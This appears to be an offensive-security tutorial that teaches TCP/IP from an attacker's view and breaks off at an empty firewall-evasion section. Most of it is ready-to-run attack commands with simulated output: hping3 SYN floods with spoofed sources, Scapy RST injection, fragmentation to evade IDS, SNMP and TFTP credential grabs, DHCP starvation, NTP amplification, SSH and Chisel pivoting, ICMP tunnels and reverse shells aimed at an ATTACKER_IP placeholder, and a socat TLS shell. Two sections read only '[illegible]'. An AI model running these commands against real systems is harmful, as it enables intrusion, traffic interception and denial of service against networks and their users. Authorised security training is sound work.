



◆ OFFENSIVE SECURITY SERIES ◆

TCP/IP DEEP DIVE

For Attackers

IP Headers · TCP Flags · SYN Flood · Tunneling · Firewall Evasion · Netcat · Wireshark

TCP

IP

UDP

ICMP

Nmap

Netcat

Tunneling

Firewall Evasion

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**■ LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. Unauthorised use is a criminal offence.
RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

TCP/IP Deep Dive — The Attacker's Protocol Bible

- 01. WHY TCP/IP IS THE ATTACKER'S MOST CRITICAL KNOWLEDGE AREA**
- 02. THE TCP/IP MODEL VS OSI — HOW THEY RELATE**
- 03. IP ADDRESSING — SUBNETS, CIDRS & NETWORK MATH FOR ATTACKERS**
- 04. THE IP HEADER — EVERY FIELD AN ATTACKER ABUSES**
- 05. ICMP — THE RECON PROTOCOL HIDING IN PLAIN SIGHT**
- 06. TCP — DEEP DIVE: FLAGS, STATES & THE HANDSHAKE**
- 07. TCP SCAN TECHNIQUES — SYN, FIN, XMAS, NULL, ACK, WINDOW**
- 08. TCP ATTACKS — SYN FLOOD, RST INJECTION & SESSION HIJACKING**
- 09. UDP — CONNECTIONLESS ATTACKS: DNS, SNMP, DHCP & TFTP**
- 10. SUBNETTING & ROUTING — READING THE NETWORK FROM A FOOTHOLD**
- 11. PORT FORWARDING & TCP TUNNELING — PIVOTING DEEP INSIDE**
- 12. NETCAT & SOCAT — THE ATTACKER'S TCP/IP SWISS ARMY KNIFE**
- 13. FIREWALL EVASION — BYPASSING PACKET FILTERS AT TCP/IP LEVEL**
- 14. WIRESHARK & TCPDUMP — READING RAW TCP/IP TRAFFIC**
- 15. TCP/IP CHEAT SHEET FOR ATTACKERS**

01 — WHY TCP/IP IS THE ATTACKER'S MOST CRITICAL KNOWLEDGE

Every Attack Travels Over TCP/IP — Know the Road

Every exploit payload, every reverse shell, every C2 beacon, every lateral movement technique — all of it travels over TCP/IP. Understanding how packets are structured, routed, and processed is not optional for serious attackers. It is what separates tool-runners from operators who understand what is actually happening on the wire.

Deep TCP/IP knowledge enables you to craft custom packets, bypass firewalls that only inspect specific fields, understand why your shell died, tunnel through restrictive networks, and read pcap files to understand exactly what happened during an engagement. This guide covers every layer of TCP/IP from the attacker's perspective — with real commands and real output.

What TCP/IP Knowledge Unlocks

- ◆ Understand why a SYN scan is stealthier than a full connect scan.
- ◆ Craft custom packets at any layer to bypass signature-based IDS/IPS.
- ◆ Know when a firewall is stateful vs stateless — and exploit the difference.
- ◆ Read tcpdump/Wireshark output and reconstruct exactly what happened.
- ◆ Build TCP tunnels and port forwards to pivot through restricted networks.
- ◆ Understand why your reverse shell timed out and how to fix it.
- ◆ Explain attack paths at the packet level in red team reports.



02 — THE TCP/IP MODEL VS OSI

4 Layers That Run the Internet

The TCP/IP model (also called the Internet model) predates OSI and is what the internet actually runs on. It collapses OSI's 7 layers into 4. Attackers use both models — OSI for precision when describing WHICH layer an attack targets, TCP/IP for understanding how traffic actually flows.

TCP/IP Layer	OSI Equivalent	Protocols	Attacker Relevance
Application	L5 + L6 + L7	HTTP, DNS, FTP, SMB, SSH, SMTP	Primary attack surface
Transport	L4	TCP, UDP, SCTP	Port scan, session, DoS
Internet	L3	IP, ICMP, ARP, BGP	Routing, spoof, fragment
Link / Network Access	L1 + L2	Ethernet, Wi-Fi, ARP	MitM, MAC spoof, ARP poison

\$ TCP/IP Stack Encapsulation

```
# TCP/IP protocol stack – what actually gets sent on the wire:

# Application layer data (e.g., HTTP GET request):
GET /admin HTTP/1.1\r\nHost: 192.168.10.5\r\n\r\n

# Transport layer wraps it in TCP segment:
TCP | src:54321 | dst:80 | flags:PSH+ACK | seq:X | ack:Y | data: HTTP GET

# Internet layer wraps in IP packet:
IP | src:192.168.10.99 | dst:192.168.10.5 | ttl:64 | proto:TCP | TCP segment

# Link layer wraps in Ethernet frame:
ETH | dst_mac:00:50:56:a1:b2:c3 | src_mac:aa:bb:cc:dd:ee:ff | IP packet | FCS

# As attacker – you can modify ANY of these fields using Scapy:
from scapy.all import *
pkt = Ether()/IP(src='1.2.3.4',dst='192.168.10.5')/TCP(dport=80)/b'payload'
sendp(pkt, iface='eth0')
```



03 — IP ADDRESSING: SUBNETS, CIDRS & NETWORK MATH

Reading the Network Like an Attacker

IP addressing knowledge is fundamental for network reconnaissance — knowing which hosts are in scope, which subnets are reachable from a compromised host, and how to calculate broadcast/network addresses for targeting.

CIDR Notation — Quick Reference

CIDR	Subnet Mask	Hosts	Common Use
/8	255.0.0.0	16,777,214	Large ISP/enterprise (10.x.x.x)
/16	255.255.0.0	65,534	Large enterprise (172.16.x.x)
/24	255.255.255.0	254	Typical office subnet (192.168.1.x)
/25	255.255.255.128	126	Split /24 — two segments
/26	255.255.255.192	62	DMZ, server segment
/27	255.255.255.224	30	Small segment, VLANs
/30	255.255.255.252	2	Point-to-point links
/32	255.255.255.255	1	Single host route, loopback

\$ IP/Subnet Commands for Attackers

```
# ipcalc - subnet math from command line
ipcalc 192.168.10.105/24

# Network: 192.168.10.0/24

# HostMin: 192.168.10.1 HostMax: 192.168.10.254

# Hosts: 254

# Find all subnets accessible from compromised host

ip route show      # Linux
route print        # Windows
netstat -rn        # Both

# RFC 1918 private ranges - always check these on internal hosts:
# 10.0.0.0/8       -> large enterprise networks
# 172.16.0.0/12    -> mid-size networks (172.16.x.x - 172.31.x.x)
# 192.168.0.0/16   -> small office / SOHO

# Ping sweep - discover live hosts in subnet

nmap -sn 192.168.10.0/24 --min-rate 1000
fping -a -g 192.168.10.0/24 2>/dev/null

# Calculate broadcast - send to all hosts
# For 192.168.10.0/24: broadcast = 192.168.10.255

ping -b 192.168.10.255 # Ping broadcast - may reveal hosts
```

```
root@kali: ~ — ipcalc Subnet Math + Route Discovery on Foothold

(root@kali)-[~]
└─# # ipcalc - subnet math for attack planning
└─# ipcalc 192.168.10.105/24

Address: 192.168.10.105      11000000.10101000.00001010.01101001
Netmask: 255.255.255.0 = 24 11111111.11111111.11111111.00000000
Network: 192.168.10.0/24    Network Address
HostMin: 192.168.10.1       First usable host
HostMax: 192.168.10.254     Last usable host
Broadcast: 192.168.10.255   Broadcast address
Hosts/Net: 254              Class C

└─# # Find gateway and routing on compromised host
└─# ip route show

default via 192.168.10.1 dev eth0 proto dhcp metric 100
192.168.10.0/24 dev eth0 proto kernel scope link src 192.168.10.99
10.0.0.0/8 via 192.168.10.1 dev eth0 - internal routes!

└─# # Discover all connected subnets
└─# ip neigh show && netstat -rn

192.168.10.1 dev eth0 lladdr 00:0c:29:ff:ee:dd REACHABLE - GW
192.168.10.5 dev eth0 lladdr 00:50:56:a1:b2:c3 STALE - DC
10.20.0.1 dev eth0 lladdr 00:50:56:b2:c3:d4 REACHABLE - VLAN

(root@kali)-[~]
└─# _
```

Figure: ipcalc subnet analysis + ip route reveals hidden 10.x.x.x internal routes



04 — THE IP HEADER: EVERY FIELD AN ATTACKER ABUSES

20 Bytes That Define the Internet

The IPv4 header is 20 bytes minimum. Every field has been abused by attackers at some point — from spoofing source addresses to manipulating TTL values for evasion. Knowing what each field does tells you what you can modify and what the defender can detect.

Field	Size	Purpose	Attacker Abuse
Version	4 bits	IPv4 or IPv6	Craft IPv6 packets to bypass IPv4-only FW
IHL	4 bits	Header length in 32-bit words	Add IP options for evasion
DSCP/ECN	8 bits	QoS / congestion marking	Traffic classification bypass
Total Length	16 bits	Packet size incl. header	Oversized packets → IDS evasion
Identification	16 bits	Fragment reassembly ID	Track fragmented flows
Flags (DF/MF)	3 bits	Don't Fragment / More Fragments	Fragment for IDS evasion
Fragment Offset	13 bits	Position of fragment in datagram	Overlapping fragments → IDS bypass
TTL	8 bits	Hop limit — decremented each router	OS fingerprinting, traceroute
Protocol	8 bits	Upper-layer protocol (6=TCP,17=UDP)	ICMP tunnel, raw sockets
Checksum	16 bits	Header integrity check	Must be correct or packet dropped
Source IP	32 bits	Sender IP address	IP SPOOFING — no authentication
Destination IP	32 bits	Receiver IP address	Target specification

Critical Attacker Fields — Source IP & TTL

\$ IP Header Manipulation

```
# IP spoofing – forge source address (one-way attacks only)
# TCP requires bidirectional – use for UDP/ICMP one-way attacks
hping3 -a 10.10.10.1 --udp -p 53 192.168.10.5 -c 5
# Packets appear to come from 10.10.10.1 to the target

# TTL – determine OS and hop count
ping 192.168.10.5 -c 1 | grep ttl
# ttl=128 → Windows (default 128)
# ttl=64 → Linux/macOS (default 64)
# ttl=255 → Cisco IOS / network device

# Fragment to evade IDS signature matching
nmap -f --mtu 8 -p 445 192.168.10.5
# Splits SYN packet into 8-byte fragments
# IDS may miss signature if it can't reassemble fast enough

# IP options – rarely used, sometimes bypasses access control
nmap --ip-options 'S 192.168.10.99' 192.168.10.5
# Source route option: route packet through specific IP
```

root@kali: ~ — IP Header Analysis + Fragmentation Evasion

```
(root@kali)-[~]
└─# Dissect IP header fields with tshark
└─# tshark -r capture.pcap -V -Y 'ip' 2>/dev/null | head -40

Internet Protocol Version 4
  Version: 4
  Header Length: 20 bytes (5 IHL units)
  Differentiated Services: 0x00
  Total Length: 60
  Identification: 0x1234 (4660) ← fragment ID
  Flags: 0x02 (Don't Fragment) ← DF bit set
  Fragment Offset: 0
  Time to Live: 128 ← Windows = 128
  Protocol: TCP (6)
  Header Checksum: 0xabcd
  Source Address: 192.168.10.99
  Destination Address: 192.168.10.5

└─# IP fragmentation – evade IDS by splitting payload
└─# nmap -f --mtu 8 -p 445 192.168.10.5 -v

SENT (0.0520s) TCP 192.168.10.99:12345 > 192.168.10.5:445 S
Frag 1: IP id=4661 frag_off=0 len=28 [first frag]
Frag 2: IP id=4661 frag_off=8 len=20 [last frag]
# IDS sees two tiny fragments – may not reassemble to detect SYN
# Firewall must reassemble all fragments before inspecting

(root@kali)-[~]
└─#
```

Figure: tshark IP header decode — ID, flags, TTL=128 (Windows), + fragmented SYN evasion



05 — ICMP: THE RECON PROTOCOL HIDING IN PLAIN SIGHT

Ping, Traceroute, Tunneling & OS Fingerprinting

ICMP (Internet Control Message Protocol) is primarily used for network diagnostics but is invaluable for attackers. Ping reveals live hosts, traceroute maps the network path, ICMP timestamps fingerprint systems, and ICMP tunneling lets attackers exfiltrate data through firewalls that block all TCP/UDP but allow ping.

ICMP Type	Code	Name	Attacker Use
0	0	Echo Reply	Live host discovery (ping response)
3	0-15	Destination Unreachable	Port/host enumeration, FW mapping
3	3	Port Unreachable	UDP port closed — port scanning
5	0-3	Redirect	ICMP redirect attack — route hijack
8	0	Echo Request	Ping — host discovery, tunnel payload carrier
11	0	TTL Exceeded	Traceroute hop detection
13/14	—	Timestamp Request/Reply	OS clock fingerprinting



\$ ICMP Attacks & Recon

```
# ICMP host discovery – find live hosts
nmap -sn -PE 192.168.10.0/24 # ICMP echo ping sweep
fping -a -g 192.168.10.0/24 2>/dev/null

# Traceroute – map network path using TTL expiry
traceroute -n 8.8.8.8 # ICMP-based
traceroute -n -T -p 443 8.8.8.8 # TCP-based (bypasses ICMP blocks)

# ICMP timestamp – OS clock fingerprinting
nmap -sn --script icmp-timestamp 192.168.10.5

# ICMP covert channel – tunnel data via echo payload
# Data encoded in ICMP echo request payload bytes
# Appears as normal ping traffic – bypasses TCP/UDP firewalls

# ptunnel – TCP over ICMP
# Attacker side: ptunnel-ng -R
# Target side: ptunnel-ng -p ATTACKER_IP -lp 22 -da INTERNAL -dp 22
# Result: SSH session tunnelled entirely through ICMP echo

# icmpdoor – reverse shell over ICMP
# python3 icmpdoor.py -d ATTACKER_IP
# python3 icmpsh_m.py ATTACKER_IP TARGET_IP

# Block ICMP recon on defender side:
# iptables -A INPUT -p icmp --icmp-type echo-request -j DROP
```



06 — TCP DEEP DIVE: FLAGS, STATES & THE HANDSHAKE

The State Machine Every Attacker Must Know

TCP is a stateful, connection-oriented protocol. Every TCP connection goes through a defined sequence of states. Understanding these states tells you why certain scan types work, why RST injections terminate connections, and why half-open SYN scans leave no trace in application logs.

TCP Flags — The 6 Critical Bits

Flag	Bit	Meaning	Attacker Use
SYN	0x02	Synchronise — initiate connection	Port scan, flood, half-open connection
ACK	0x10	Acknowledge — confirm receipt	ACK scan, firewall mapping
FIN	0x01	Finish — graceful close	FIN scan, evade stateless FW
RST	0x04	Reset — abrupt terminate	Kill sessions, RST injection
PSH	0x08	Push — send data immediately	Mark data packets in capture
URG	0x20	Urgent — prioritise this data	Xmas scan (FIN+URG+PSH combo)

TCP Connection State Machine

\$ TCP State Machine

```
# TCP States – attacker relevance:

LISTEN      ← Service waiting for connections (port is 'open')
SYN_SENT    ← Client sent SYN, waiting for SYN-ACK
SYN_RECEIVED ← Server got SYN, sent SYN-ACK, waiting for ACK
              ← SYN FLOOD exploits this: fill SYN_RECEIVED table
ESTABLISHED ← 3-way handshake complete, data can flow
FIN_WAIT_1  ← Sent FIN, waiting for ACK
FIN_WAIT_2  ← Got ACK for FIN, waiting for remote FIN
TIME_WAIT   ← Waiting 2*MSL to ensure remote got our FIN-ACK
              ← TIME_WAIT exhaustion = port exhaustion DoS
CLOSE_WAIT  ← Got remote FIN, waiting for local app to close
CLOSED      ← Connection fully terminated

# View current TCP connections on Linux
ss -tn      # tcp connections + state
ss -tnp     # + process info
netstat -tnp # classic view

# View on Windows
netstat -ano # all connections + PID
Get-NetTCPConnection | Where State -eq 'Established'
```

```
root@kali: ~ — TCP 3-Way Handshake: SYN→SYN-ACK→ACK→DATA→FIN

(root@kali)-[~]
# # TCP 3-way handshake analysis with tcpdump
# tcpdump -i eth0 -n 'host 192.168.10.5 and tcp port 445' -v 2>/dev/null

# — SYN (Client → Server) —————
14:30:01.001 IP 192.168.10.99 > 192.168.10.5: Flags [S],
  seq 3872491054, win 64240, options [mss 1460,sackOK,TS val 123 ecr 0,nop,wscale 7]

# — SYN-ACK (Server → Client) —————
14:30:01.002 IP 192.168.10.5 > 192.168.10.99: Flags [S.],
  seq 1234567890, ack 3872491055, win 65535, options [mss 1460,nop,wscale 8]

# — ACK (Client → Server) —————
14:30:01.003 IP 192.168.10.99 > 192.168.10.5: Flags [.],
  ack 1, win 502 → CONNECTION ESTABLISHED

# — DATA Transfer (PSH+ACK) —————
14:30:01.010 IP 192.168.10.99 > 192.168.10.5: Flags [P.],
  seq 1:140, ack 1 [SMBv2 Negotiate Request]

# — FIN (Graceful teardown) —————
14:30:02.100 IP 192.168.10.99 > 192.168.10.5: Flags [F.],
  seq 140, ack 280 → FIN-ACK follows from server

# TCP FLAGS: S=SYN .=ACK P=PSH F=FIN R=RST U=URG

(root@kali)-[~]
# _
```

Figure: tcpdump shows full TCP lifecycle — SYN, SYN-ACK, ACK, PSH data, FIN teardown



07 — TCP SCAN TECHNIQUES

SYN, FIN, Xmas, Null, ACK, Window & Connect Scans

Different TCP scan types exploit different aspects of the TCP state machine and RFC 793. Choosing the right scan type determines stealth, reliability, and what you can discover about firewall rules and OS behaviour.

Scan Type	Flags Sent	Open Response	Closed Response	Stealth
SYN (-sS)	SYN	SYN-ACK	RST	High — no full connect
Connect (-sT)	SYN→ACK→RST	SYN-ACK+ACK	RST	Low — full connect logged
FIN (-sF)	FIN	Silence	RST	High — bypasses stateless FW
Xmas (-sX)	FIN+URG+PSH	Silence	RST	High — unusual flag combo
Null (-sN)	None (no flags)	Silence	RST	High — RFC edge case
ACK (-sA)	ACK	RST (unfiltered)	No reply (filtered)	Medium — maps FW rules
Window (-sW)	ACK	RST win>0 (open)	RST win=0 (closed)	Medium
UDP (-sU)	UDP datagram	Service data	ICMP port unreachable	Low — very slow

\$ nmap Scan Types — Full Reference

```
# SYN scan — workhorse, requires root/admin
nmap -sS -p- --min-rate 5000 192.168.10.5 -oA syn_scan

# FIN scan — bypass simple stateless firewalls (no SYN rule)
nmap -sF -p 22,80,443,445,3389 192.168.10.5

# ACK scan — map firewall rules (not port state)
nmap -sA 192.168.10.5
# RST = unfiltered (FW passes it through)
# No response = filtered (FW drops or rejects)

# Xmas scan — Christmas tree of flags
nmap -sX -p 1-1024 192.168.10.5

# Null scan — no TCP flags at all
nmap -sN -p 1-1024 192.168.10.5

# UDP scan — slow but essential (DNS, SNMP, TFTP)
nmap -sU -p 53,67,69,123,161,500,1900 192.168.10.5 --open

# Version detection after finding open ports
nmap -sV -sC -p 80,443,445 192.168.10.5

# Script scan — run default NSE scripts
nmap --script=default,vuln -p 445,3389 192.168.10.5
```

```
root@kali: ~ — nmap SYN Scan: open/closed/filtered + version detection

(root@kali)-[~]
└─# nmap SYN scan — half-open, stealthy
└─# nmap -sS -p 22,80,443,445,3389,8080 192.168.10.5 -v --reason

PORT      STATE      SERVICE      REASON
22/tcp    closed    ssh          reset ttl 128
80/tcp    open      http         syn-ack ttl 128
443/tcp   open      https        syn-ack ttl 128
445/tcp   open      microsoft-ds syn-ack ttl 128
3389/tcp   filtered  ms-wbt-server no-response
8080/tcp   filtered  http-proxy   no-response

# REASON key:
syn-ack → port OPEN (server replied SYN-ACK)
reset → port CLOSED (server replied RST)
no-resp → port FILTERED (firewall dropping packets)

└─# # Version + script scan on open ports
└─# nmap -sV -sC -p 80,443,445 192.168.10.5

445/tcp open  microsoft-ds Windows Server 2019 microsoft-ds
| smb2-security-mode:
| 2.02: Message signing enabled and required
| smb2-time:
|   date: 2024-12-01T14:30:01

(root@kali)-[~]
└─#
```

Figure: nmap SYN scan — open/closed/filtered reasons visible; version detection on SMB



08 — TCP ATTACKS

SYN Flood, RST Injection & Session Hijacking

Beyond scanning, TCP's state machine and sequence numbers can be directly attacked. SYN floods exhaust server connection tables. RST injection forcibly terminates established sessions. Session hijacking predicts TCP sequence numbers to inject data into an existing stream.

SYN Flood — TCP Resource Exhaustion

\$ SYN Flood

```
# SYN flood — overwhelm server's connection table
# Server allocates state for each SYN, never gets ACK
# SYN_RECEIVED table fills → legitimate connections refused

# hping3 SYN flood with random source IPs
hping3 -S --rand-source --flood -V -p 80 192.168.10.5

# More targeted — exhaust specific port
hping3 -S -p 443 --flood 192.168.10.5 -q

# Defence: SYN cookies (kernel setting)
# sysctl net.ipv4.tcp_syncookies = 1
# Server doesn't allocate state until ACK received
```

RST Injection — Terminate Any TCP Connection

\$ RST Injection

```
# RST injection – forcibly kill an existing TCP session
# Requires: MitM position OR sequence number prediction
# A RST packet with correct seq number kills the connection

# tcpkill – inject RST to kill matching connections
tcpkill -i eth0 host 192.168.10.105 and port 22

# Scapy – craft custom RST packet
from scapy.all import *
# Need to know: src/dst IPs, src/dst ports, current seq number
rst = IP(src='192.168.10.5',dst='192.168.10.105') / \
      TCP(sport=22,dport=54321,flags='R',seq=KNOWN_SEQ)
send(rst)

# Use case: blue team uses RST injection to kill attacker sessions
# Use case: red team uses it to kill IDS-inspected sessions
```

```
root@kali: ~ — TCP Flag Manipulation: FIN scan, Xmas, SYN flood, RST inject

└─(root@kali)-[~]
└─# hping3 – craft custom TCP packets
└─# FIN scan – bypass simple stateless firewalls
└─# hping3 -F -p 445 192.168.10.5 -c 3 -V

HPING 192.168.10.5 (eth0 192.168.10.5): F set, 40 headers + 0 data bytes
len=40 ip=192.168.10.5 ttl=128 DF id=0 sport=445 flags=RA seq=0
# RST+ACK response → port CLOSED (but FIN got through the firewall!)

└─# Xmas scan – FIN+URG+PSH flags
└─# hping3 -F -U -P -p 80 192.168.10.5 -c 3
flags=RA → RST+ACK = port closed
no reply → port open (RFC 793: open port ignores Xmas)

└─# SYN flood – TCP DoS (rate-based)
└─# hping3 -S --flood -V -p 80 192.168.10.5

HPING 192.168.10.5 (eth0): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
Sending packets at MAX speed...
# Half-open connections exhaust server connection table
# Without SYN cookies: server DoS'd within seconds

└─# TCP RST injection – forcibly terminate a connection
└─# Used by firewalls/IDS and by attackers to kill sessions
└─# tcpkill -i eth0 host 192.168.10.105 and port 22
[+] Injecting RST to kill SSH session between WS01 and DC01...

└─(root@kali)-[~]
└─# _
```

Figure: hping3 FIN scan, Xmas scan, SYN flood, tcpkill RST injection



09 — UDP: CONNECTIONLESS ATTACKS

DNS, SNMP, DHCP, TFTP & UDP Exploitation

UDP is connectionless — no handshake, no state, no acknowledgement. This makes UDP-based services fundamentally different to attack and defend. Many critical protocols run on UDP: DNS (53), SNMP (161), DHCP (67/68), TFTP (69), NTP (123), and Syslog (514). Most of these have weak or no authentication — making them high-value targets.

Protocol	UDP Port	Attack	Impact
DNS	53	Zone transfer, cache poison, tunnel	Network map, traffic hijack
SNMP v1/v2	161	Community string brute, dump MIB	Full device config + creds
DHCP	67/68	Starvation, rogue server	IP exhaustion, MitM via fake GW
TFTP	69	No auth — read/write files	Config theft, firmware upload
NTP	123	Monlist amplification, time skew	DDoS amplification, Kerberos fail
Syslog	514	Inject fake log entries	Log poisoning, cover tracks
LDAP (UDP)	389	Anonymous bind, enumeration	User/group/policy harvest
mDNS	5353	Poison multicast DNS (L2)	Redirect internal .local queries



\$ UDP Protocol Attacks

```
# DNS – critical UDP recon and attack target
dig @192.168.10.5 corp.local ANY          # All records
dig @192.168.10.5 corp.local AXFR       # Zone transfer attempt
dnsrecon -d corp.local -t std,axfr,brute

# SNMP – dump device info with default community 'public'
onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 192.168.10.0/24
snmpwalk -v2c -c public 192.168.10.5 1.3.6.1.2.1
snmp-check 192.168.10.5 -c public # human-readable output

# DHCP starvation – exhaust IP pool
yersinia dhcp -attack 1 # send thousands of DHCP DISCOVERs
# Follow with rogue DHCP server – become default gateway

# TFTP – attempt to read config files (no auth needed)
tftp 192.168.10.10
get startup-config
get running-config

# NTP monlist amplification (DDoS amplification factor ~700x)
ntpd -c monlist 192.168.10.200
# Used in reflected DDoS: spoof victim IP, NTP floods victim
```

```
root@kali: ~ -- UDP Attacks: DNS enum, SNMP community, TFTP no-auth

└─(root@kali)-[~]
└─# # UDP protocol – connectionless, no handshake
└─# # DNS – UDP 53 attacks
└─# dig @192.168.10.5 corp.local ANY +noall +answer

corp.local. 600 IN A      192.168.10.5  → DC01
corp.local. 600 IN MX    10 mail.corp.local.
corp.local. 600 IN NS    dc01.corp.local.
corp.local. 600 IN TXT   "v=spf1 ip4:203.0.113.0/24 ~all"

└─# # SNMP v1/v2 – community string brute force
└─# onesixtyone -c /usr/share/doc/onesixtyone/dict.txt 192.168.10.5

Scanning 1 hosts, 51 communities
192.168.10.5 [public] Linux DC01 3.10.0-1127.el7
  → Default community 'public' found!

└─# # Dump SNMP data – hostname, interfaces, routes, processes
└─# snmpwalk -v2c -c public 192.168.10.5 1.3.6.1.2.1.1
sysDescr.0 = STRING: Windows Server 2019 Datacenter
sysName.0  = STRING: DC01.corp.local

└─# # TFTP – no auth, download/upload files
└─# tftp 192.168.10.5 -c get startup-config
[+] startup-config downloaded – contains credentials!

└─(root@kali)-[~]
└─#
```

Figure: DNS ALL records, SNMP community 'public' found, snmpwalk device info, TFTP config



10 — SUBNETTING & ROUTING: READING THE NETWORK

Map the Internal Network from a Foothold

Once you have a foothold on an internal host, the routing table is the most valuable piece of information available. It reveals all reachable subnets, the default gateway, and any split-tunnel VPN routes — giving you the full map of what you can reach from this host.

\$ Network Discovery from Foothold

```
# Linux — full network recon from foothold

ip addr show           # All interfaces + IPs
ip route show          # Routing table — all reachable subnets
ip neigh show          # ARP cache — known neighbours
ss -tnp                # Active TCP connections + processes
cat /etc/resolv.conf    # DNS servers
cat /etc/hosts          # Static hostname entries

# Windows — equivalent commands

ipconfig /all           # All interfaces + DNS + gateway
route print             # Full routing table
arp -a                 # ARP cache
netstat -ano            # Active connections + PIDs
nslookup -type=any corp.local # DNS queries

# Discover additional subnets via routing table

ip route show | grep -v default

# Any non-default route reveals accessible subnets

# Internal host discovery via ping sweep

nmap -sn 10.0.0.0/8 --min-rate 2000 -T4
for i in {1..254}; do ping -c1 -W1 192.168.10.$i & done 2>/dev/null

# Wait for all pings, then check ARP cache: ip neigh show
```



11 — PORT FORWARDING & TCP TUNNELING

Pivoting Deep Inside Restricted Networks

Port forwarding and TCP tunneling are how attackers access internal services that are not directly reachable from the internet. A compromised host with internal access becomes a pivot point — tunneling attacker traffic to otherwise unreachable targets.

Technique	Tool	Use Case	Encryption
Local port forward	SSH -L	Reach single internal service	TLS (SSH)
Remote port forward	SSH -R	Expose internal service to attacker	TLS (SSH)
Dynamic SOCKS	SSH -D	Route all tools via internal pivot	TLS (SSH)
HTTP tunnel	Chisel	Pivot through HTTP/S proxies	TLS (optional)
SOCKS proxy	Ligolo-ng	Transparent internal routing	TLS
ICMP tunnel	ptunnel	Bypass TCP/UDP firewall (ICMP only)	None
DNS tunnel	iodine	Bypass proxy — DNS allowed egress	None (DNS)

\$ Port Forwarding & Tunneling

```
# SSH local port forward – reach DC's RDP via exposed SSH server
ssh -L 13389:192.168.10.5:3389 jsmith@203.0.113.50 -N -f

# Now: rdesktop localhost:13389 → connects to internal DC01 RDP

# SSH remote port forward – expose internal web app to attacker
ssh -R 8888:192.168.10.20:80 attacker@203.0.113.99 -N

# Attacker visits localhost:8888 → reaches internal web server

# SSH dynamic SOCKS5 proxy
ssh -D 1080 jsmith@203.0.113.50 -N -f
proxychains nmap -sT -Pn 192.168.10.0/24
proxychains nxc smb 192.168.10.5 -u admin -p 'Password1'

# Chisel – HTTP tunnel (bypasses web proxy / port 80/443 only)
# Attacker: chisel server -p 443 --reverse --socks5
# Victim: chisel.exe client 203.0.113.99:443 R:socks
proxychains nmap -sT -Pn 192.168.10.0/24

# Ligolo-ng – transparent proxy (no proxychains needed)
# Creates tun interface on attacker – route internal IPs directly
sudo ip route add 192.168.10.0/24 dev ligolo
nmap -sT 192.168.10.5 # direct, no proxychains
```

```
root@kali: ~ — TCP Tunneling: SSH forward, SOCKS proxy, Chisel pivot

└─(root@kali)-[~]
└─# Port forwarding – reach internal services via pivot
└─# SSH local port forward – reach internal RDP via pivot
└─# ssh -L 13389:192.168.10.5:3389 jsmith@203.0.113.50 -N &
└─# Now connect to localhost:13389 to reach DC01's RDP
└─# All traffic tunnels through SSH (encrypted at L6)

└─# SSH dynamic SOCKS proxy – proxy all traffic via pivot
└─# ssh -D 1080 jsmith@203.0.113.50 -N &
└─# nmap -sT -Pn --proxy socks4://127.0.0.1:1080 192.168.10.0/24
[+] Scanning internal 192.168.10.0/24 via SOCKS proxy...

└─# Chisel – TCP tunnel over HTTP (bypass restrictive firewalls)
└─# Attacker: start chisel server
└─# chisel server -p 8080 --reverse
2024/12/01 14:35:00 server: Reverse tunnelling enabled
2024/12/01 14:35:01 server: Listening on http://0.0.0.0:8080

# On target (Windows):
chisel.exe client 203.0.113.99:8080 R:socks
2024/12/01 14:35:05 client: Connected to 203.0.113.99:8080
2024/12/01 14:35:05 client: Tunnelling: 127.0.0.1:1080 → socks

└─# proxychains – route any tool through SOCKS proxy
└─# proxychains nxc smb 192.168.10.5 -u admin -p 'W3lc0me1!'
[+] 192.168.10.5:445 SMB Corp\admin - Pwn3d!

└─(root@kali)-[~]
└─#
```

Figure: SSH local forward, SOCKS proxy, Chisel HTTP tunnel — proxychains nxc via pivot

12 — NETCAT & SOCAT: THE TCP/IP SWISS ARMY KNIFE

Raw TCP/UDP — Connect, Listen, Transfer, Shell

Netcat (nc) and Socat are the most fundamental TCP/IP tools in an attacker's arsenal. Netcat can open raw TCP/UDP connections in both client and server mode — enabling reverse shells, bind shells, file transfers, port scanning, and banner grabbing. Socat extends this with TLS support and advanced relay.

\$ Netcat — Reverse/Bind Shell + Transfer + Banner

[illegible]

\$ Socat — TLS Shell + Port Relay

[illegible]

root@kali: ~ — Netcat/Socat: Reverse Shell + Banner Grab + TLS Shell

```
[root@kali]-[~]
└─# # Netcat – the TCP/IP Swiss army knife
└─# # Listener – catch reverse shell
└─# nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.10.99] from (UNKNOWN) [192.168.10.105] 52340

# — On Windows target (PowerShell reverse shell) —————
# powershell -nop -w hidden -e <base64_encoded_reverse_shell>

Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. All rights reserved.

C:\Users\jsmith> whoami
corp\jsmith
C:\Users\jsmith> ipconfig
IPv4 Address. . . . . : 192.168.10.105

└─# # Netcat banner grab – fingerprint service
└─# echo '' | nc -w 3 192.168.10.5 22 >&1
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6

└─# # socat – encrypted shell over TLS
└─# socat openssl-listen:4443,cert=shell.pem,verify=0 -
# Target: socat openssl:192.168.10.99:4443,verify=0 exec:bash
[+] Encrypted shell session established on port 4443

└─# (root@kali)-[~]
└─#
```

Figure: nc reverse shell caught, Windows PS shell, banner grab SSH/HTTP, socat TLS shell

13 — FIREWALL EVASION AT TCP/IP LEVEL

Bypass Packet Filters Using Protocol Knowledge

Firewalls make allow/deny decisions based on TCP/IP header fields. Understanding exactly which fields they inspect — and which they ignore — reveals bypass opportunities. Stateless firewalls are particularly vulnerable because they only check individual packets, not connection state.

Evasion Technique	How It Works	Bypasses
FIN/Null/Xmas scan	Flags other than SYN — stless FW ignores	Stateless ACL on SYN
Source port 53/80	Appear as DNS/HTTP reply	Rules allowing DNS/HTTP returns
IP fragmentation	Split payload across multiple packets	Signature-based IDS (can't reassemble)
TTL manipulation	Use low TTL to reach only some hops	Inline IDS at specific hops
Decoy scanning	Mix real source with fake IPs	IP-based block rules
Slow scan (-T1)	Scan at < 1 packet per 5 min	Rate-based detection rules
ICMP tunnel	Wrap TCP in ICMP echo payload	TCP/UDP blocking firewalls
DNS tunnel	Encode data in DNS queries	HTTP/S blocking egress FW

\$ Firewall Evasion Commands

```
